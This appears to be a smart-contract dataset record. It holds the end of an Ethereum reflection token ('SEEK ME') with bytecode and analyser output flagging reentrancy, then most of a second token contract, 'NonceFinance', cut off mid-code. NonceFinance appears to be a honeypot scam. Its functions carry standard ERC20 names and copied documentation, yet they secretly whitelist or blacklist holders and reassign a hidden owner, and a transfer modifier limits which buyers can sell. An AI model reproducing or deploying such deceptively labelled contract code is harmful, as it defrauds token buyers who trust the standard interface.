string private constant _symbol = "SEEK ME";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x9335cD9298D0c3267070580B3f3567F1D87F29eC);
_feeAddrWallet2 = payable(0x9335cD9298D0c3267070580B3f3567F1D87F29eC);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c6578063b515566a146102e6578063c3c8cd8014610306578063c9567bf91461031b578063dd62ed3e1461033057600080fd5b806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57806395d89b411461029657600080fd5b8063273123b7116100d1578063273123b7146101c6578063313ce567146101e85780635932ead1146102045780636fc3eaec1461022457600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260078152665365656b204d6560c81b60208201525b6040516101479190611595565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461160f565b610376565b6040519015158152602001610147565b34801561018c57600080fd5b50683635c9adc5dea000005b604051908152602001610147565b3480156101b257600080fd5b506101706101c136600461163b565b61038d565b3480156101d257600080fd5b506101e66101e136600461167c565b6103f6565b005b3480156101f457600080fd5b5060405160098152602001610147565b34801561021057600080fd5b506101e661021f3660046116a7565b61044a565b34801561023057600080fd5b506101e6610492565b34801561024557600080fd5b5061019861025436600461167c565b6104bf565b34801561026557600080fd5b506101e66104e1565b34801561027a57600080fd5b506000546040516001600160a01b039091168152602001610147565b3480156102a257600080fd5b506040805180820190915260078152665345454b204d4560c81b602082015261013a565b3480156102d257600080fd5b506101706102e136600461160f565b610555565b3480156102f257600080fd5b506101e66103013660046116da565b610562565b34801561031257600080fd5b506101e66105f8565b34801561032757600080fd5b506101e661062e565b34801561033c57600080fd5b5061019861034b36600461179f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103833384846109f1565b5060015b92915050565b600061039a848484610b15565b6103ec84336103e78560405180606001604052806028815260200161199e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e62565b6109f1565b5060019392505050565b6000546001600160a01b031633146104295760405162461bcd60e51b8152600401610420906117d8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104745760405162461bcd60e51b8152600401610420906117d8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b257600080fd5b476104bc81610e9c565b50565b6001600160a01b03811660009081526002602052604081205461038790610f21565b6000546001600160a01b0316331461050b5760405162461bcd60e51b8152600401610420906117d8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610383338484610b15565b6000546001600160a01b0316331461058c5760405162461bcd60e51b8152600401610420906117d8565b60005b81518110156105f4576001600660008484815181106105b0576105b061180d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ec81611839565b91505061058f565b5050565b600c546001600160a01b0316336001600160a01b03161461061857600080fd5b6000610623306104bf565b90506104bc81610fa5565b6000546001600160a01b031633146106585760405162461bcd60e51b8152600401610420906117d8565b600f54600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610420565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082683635c9adc5dea000006109f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190611854565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611854565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108609190611854565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610890816104bf565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109419190611871565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f4919061189f565b6001600160a01b038316610a535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610ab45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6001600a556009600b556000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610e52576001600160a01b03831660009081526006602052604090205460ff16158015610cba57506001600160a01b03821660009081526006602052604090205460ff16155b610cc357600080fd5b600f546001600160a01b038481169116148015610cee5750600e546001600160a01b03838116911614155b8015610d1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d285750600f54600160b81b900460ff165b15610d8557601054811115610d3c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6057600080fd5b610d6b42601e6118bc565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db05750600e546001600160a01b03848116911614155b8015610dd557506001600160a01b03831660009081526005602052604090205460ff16155b15610de5576001600a556009600b555b6000610df0306104bf565b600f54909150600160a81b900460ff16158015610e1b5750600f546001600160a01b03858116911614155b8015610e305750600f54600160b01b900460ff165b15610e5057610e3e81610fa5565b478015610e4e57610e4e47610e9c565b505b505b610e5d83838361112e565b505050565b60008184841115610e865760405162461bcd60e51b81526004016104209190611595565b506000610e9384866118d4565b95945050505050565b600c546001600160a01b03166108fc610eb6836002611139565b6040518115909202916000818181858888f19350505050158015610ede573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ef9836002611139565b6040518115909202916000818181858888f193505050501580156105f4573d6000803e3d6000fd5b6000600854821115610f885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610420565b6000610f9261117b565b9050610f9e8382611139565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57610fed61180d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611854565b8160018151811061108c5761108c61180d565b6001600160a01b039283166020918202929092010152600e546110b291309116846109f1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110eb9085906000908690309042906004016118eb565b600060405180830381600087803b15801561110557600080fd5b505af1158015611119573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5d83838361119e565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611295565b60008060006111886112c3565b90925090506111978282611139565b9250505090565b6000806000806000806111b087611305565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e29087611362565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121190866113a4565b6001600160a01b03891660009081526002602052604090205561123381611403565b61123d848361144d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128291815260200190565b60405180910390a3505050505050505050565b600081836112b65760405162461bcd60e51b81526004016104209190611595565b506000610e93848661195c565b6008546000908190683635c9adc5dea000006112df8282611139565b8210156112fc57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113228a600a54600b54611471565b925092509250600061133261117b565b905060008060006113458e8787876114c6565b919e509c509a509598509396509194505050505091939550919395565b6000610f9e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e62565b6000806113b183856118bc565b905083811015610f9e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610420565b600061140d61117b565b9050600061141b8383611516565b3060009081526002602052604090205490915061143890826113a4565b30600090815260026020526040902055505050565b60085461145a9083611362565b60085560095461146a90826113a4565b6009555050565b600080808061148b60646114858989611516565b90611139565b9050600061149e60646114858a89611516565b905060006114b6826114b08b86611362565b90611362565b9992985090965090945050505050565b60008080806114d58886611516565b905060006114e38887611516565b905060006114f18888611516565b90506000611503826114b08686611362565b939b939a50919850919650505050505050565b60008261152557506000610387565b6000611531838561197e565b90508261153e858361195c565b14610f9e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610420565b600060208083528351808285015260005b818110156115c2578581018301518582016040015282016115a6565b818111156115d4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bc57600080fd5b803561160a816115ea565b919050565b6000806040838503121561162257600080fd5b823561162d816115ea565b946020939093013593505050565b60008060006060848603121561165057600080fd5b833561165b816115ea565b9250602084013561166b816115ea565b929592945050506040919091013590565b60006020828403121561168e57600080fd5b8135610f9e816115ea565b80151581146104bc57600080fd5b6000602082840312156116b957600080fd5b8135610f9e81611699565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116ed57600080fd5b823567ffffffffffffffff8082111561170557600080fd5b818501915085601f83011261171957600080fd5b81358181111561172b5761172b6116c4565b8060051b604051601f19603f83011681018181108582111715611750576117506116c4565b60405291825284820192508381018501918883111561176e57600080fd5b938501935b8285101561179357611784856115ff565b84529385019392850192611773565b98975050505050505050565b600080604083850312156117b257600080fd5b82356117bd816115ea565b915060208301356117cd816115ea565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561184d5761184d611823565b5060010190565b60006020828403121561186657600080fd5b8151610f9e816115ea565b60008060006060848603121561188657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118b157600080fd5b8151610f9e81611699565b600082198211156118cf576118cf611823565b500190565b6000828210156118e6576118e6611823565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193b5784516001600160a01b031683529383019391830191600101611916565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197957634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561199857611998611823565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220080cf57aa4f86756d34836a58ee3f0436df491bba5d7c00dbb759100f253345c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,408 |
0xabc6c879de0cfa5d1dbfbca0baa05843508010a7
|
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NonceFinance is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
